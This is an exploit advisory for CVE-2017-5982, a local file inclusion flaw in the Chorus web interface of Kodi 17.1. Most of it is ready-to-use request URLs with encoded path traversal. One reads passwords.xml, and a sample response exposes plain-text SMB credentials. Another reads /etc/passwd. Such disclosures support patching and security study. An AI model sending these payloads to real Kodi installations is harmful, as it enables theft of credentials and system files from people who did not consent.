Kodi 17.1 Local File Inclusion

`# Exploit Title: Kodi - Local File Inclusion  
# Date: 12 February 2017  
# Exploit Author: Eric Flokstra  
# Vendor Homepage: https://kodi.tv/  
# Software Link: https://kodi.tv/download/  
# Version: Kodi version 17.1 (Krypton), Chorus version 2.4.2  
# Tested on: Linux  
# CVE: CVE-2017-5982  
  
Kodi (formerly XBMC) is a free and open-source media player software  
application developed by the XBMC Foundation. Chorus is a web interface  
for controlling and interacting with Kodi. It is hosted by the Kodi  
installation.  
  
The web interface loads a thumbnail of an image, video or add-on when  
selecting a category in the left menu with the following request:  
  
http://192.168.1.25:8080/image/image%3A%2F%2F%252fhome%252fosmc%252f.kodi%252faddons%252fplugin.video.vice%252ficon.png%2F  
  
Insufficient validation of user input is performed on this URL resulting  
in a local file inclusion vulnerability. This enables attackers  
to retrieve arbitrary files from the filesystem by changing the location  
after the '/image/image%3A%2F%2Fa part.  
  
<--Examples-->  
  
1) If Kodi is connected to a NAS the following request can be used to  
obtain plain-text SMB credentials:  
  
http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fhome%252fosmc%252f.kodi%252fuserdata%252fpasswords.xml  
  
Response:  
  
<passwords><path><from pathversion="1">smb://192.168.1.15/</from><to  
pathversion="1">smb://username:[email protected]//share</to></path></passwords>  
  
2) Request to retrieve the content of /etc/passwd:  
  
http://192.168.1.25:8080/image/image%3A%2F%2F%2e%2e%252fetc%252fpasswd
